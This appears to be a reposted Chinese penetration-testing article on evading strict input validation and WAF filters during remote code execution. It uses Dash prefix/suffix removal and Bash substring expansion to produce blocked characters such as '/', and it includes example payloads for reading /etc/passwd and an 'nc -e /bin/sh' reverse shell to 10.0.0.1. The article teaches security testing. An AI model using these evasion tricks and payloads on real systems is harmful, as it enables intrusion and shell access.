如何通过移除前缀和后缀模式绕过严格的输入验证

2023-11-25 00:31:17 AnQuanKeInfo 来源：ZONE.CI 全球网 0 阅读模式

写在前面的话

在这篇文章中，我们将跟大家介绍如何绕过目标Web应用程序上严格的输入验证，而这种验证机制将阻止我们向目标Web应用发送包含类似‘ ” ; : / & |字符的远程代码执行Payload。

在近期的一篇文章中，我们介绍了如何使用Bash Globbing模式来绕过输入验证，其中的一种方法就是使用Bash子字符串从从环境变量值中获取特殊字符，比如说：${PATH:0:1}通常等于/。通常，Web应用程序会在不支持Bash的服务器系统上运行，但Almquist shell也会被视作是Dash或sh。Dash是无法对子字符串做类似${PATH:0:1}这样的事情的，但我们可以使用另外两种分别名为“移除前缀模式”和“移除后缀模式”的功能来实现我们的目的。具体情况需要根据PATH值来进行分析，如果PATH值以/usr开头，则${PATH%%u*}就应该等于/。如果你使用的是字符串范围语句的话，那么${PATH%%[a-z]*}也应该等于/。

关于Dash和Bash

Bash(GNU Bourne-Again Shell)是许多Linux平台的内定Shell，事实上，还有许多传统UNIX上用的Shell，像tcsh、csh、ash、bsh、ksh等等。

GNU/Linux 操作系统中的 /bin/sh 本是 bash (Bourne-Again Shell) 的符号链接，但鉴于 bash 过于复杂，有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash (Debian Almquist Shell)，并建议将 /bin/sh 指向它，以获得更快的脚本执行速度。Dash Shell 比 Bash Shell 小的多，符合POSIX标准。

Debian和Ubuntu中，/bin/sh默认已经指向dash，这是一个不同于bash的shell，它主要是为了执行脚本而出现，而不是交互，它速度更快，但功能相比bash要少很多，语法严格遵守POSIX标准。

语法上的主要的区别有:

1.定义函数

bash: function在bash中为关键字

dash: dash中没有function这个关键字

2.select var in list; do command; done

bash:支持

dash:不支持, 替代方法:采用while+read+case来实现

3. echo {0..10}

bash:支持{n..m}展开

dash:不支持，替代方法, 采用seq外部命令

4. here string

bash:支持here string

dash:不支持, 替代方法:可采用here documents

5. >&word重定向标准输出和标准错误

bash: 当word为非数字时，>&word变成重定向标准错误和标准输出到文件word

dash: >&word, word不支持非数字, 替代方法: >word 2>&1; 常见用法 >/dev/null 2>&1

6. 数组

bash: 支持数组, bash4支持关联数组

dash: 不支持数组，替代方法, 采用变量名+序号来实现类似的效果

7. 子字符串扩展

bash: 支持${parameter:offset:length},${parameter:offset}

dash: 不支持，替代方法:采用expr或cut外部命令代替

8. 大小写转换

bash: 支持${parameter^pattern},${parameter^^pattern},${parameter,pattern},${parameter,,pattern}

dash: 不支持，替代方法:采用tr/sed/awk等外部命令转换

9. 进程替换<(command), >(command)

bash: 支持进程替换

dash: 不支持, 替代方法, 通过临时文件中转

10. [ string1 = string2 ] 和 [ string1 == string2 ]

bash: 支持两者

dash: 只支持=

11. [[ 加强版test

bash: 支持[[ ]], 可实现正则匹配等强大功能

dash: 不支持[[ ]], 替代方法，采用外部命令

12. for (( expr1 ; expr2 ; expr3 )) ; do list ; done

bash: 支持C语言格式的for循环

dash: 不支持该格式的for, 替代方法，用while+$((expression))实现

13. let命令和((expression))

bash: 有内置命令let, 也支持((expression))方式

dash: 不支持，替代方法，采用$((expression))或者外部命令做计算

14. $((expression))

bash: 支持id++,id–,++id,–id这样到表达式

dash: 不支持++,–, 替代方法:id+=1,id-=1, id=id+1,id=id-1

移除前缀和后缀模式

简单来说，这种技术是通过在变量名中使用%、%%、#或##，可以从左或右开始删除部分变量值。让我们举几个例子：

${parameter%word}：删除最小后缀模式。参数的扩展可以生成其他参数，然后与模式匹配的后缀最小部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST%.*}

foo.bar

${parameter%%word}：删除最大后缀模式。参数的扩展可以生成其他参数，然后与模式匹配的后缀最大部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST%%.*}

foo

${parameter#word}：删除最小前缀模式。参数的扩展可以生成其他参数，然后与模式匹配的前缀最小部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST#*.}

bar.sample

${parameter##word}：删除最大前缀模式。参数的扩展可以生成其他参数，然后与模式匹配的前缀最大部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST##*.}

sample

此语法的一个用例是更改文件名列表的扩展名。例如，如果我想重命名/etc/中的所有*.conf文件，将其扩展名改为.txt，我们就可以这样做：

for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done

输入验证

在对客户应用程序中的一个远程代码执行漏洞进行测试时，我发现了一种方法来绕过他们的输入验证。

假设Web应用程序存在远程代码执行漏洞，可以导致任意代码执行，但其中的输入验证函数可以防止带有特殊字符的Payload执行，比如说[/”‘&|()-;:.,\s\t\n`]，而且还屏蔽了常见的Unix命令，比如说eval、bash、sh、nc、bas64等（很多Web应用防火墙都会这样做）。但是，如果Web应用程序允许$、{和}这样的字符存在的话，那我们就有很多种方法来绕过输入验证并利用远程代码执行漏洞了。

在这种情况下，下面的Payload都将会被屏蔽：

code=cat+/etc/passwd (匹配\s和/)

code=/bin/ca?+/e??/??ss?? (匹配\s和/)

code=cd${IFS}/etc;cat${IFS}passwd (匹配/)

code=nc+-e+/bin/sh+10.0.0.1+1234 (匹配\s – /和.)

那么，有没有可能创建一个Payload，它不需要像正斜杠、引号这样的字符，并且不会使用众所周知的Unix命令触发WAF呢？为此我专门创建了一个【Challenge】。其核心思想是从目标shell环境变量中获取特殊字符。例如，我们可以使用子字符串0:1（例如在Bash中使用${PATH:0:1}）从$PATH变量中获取值。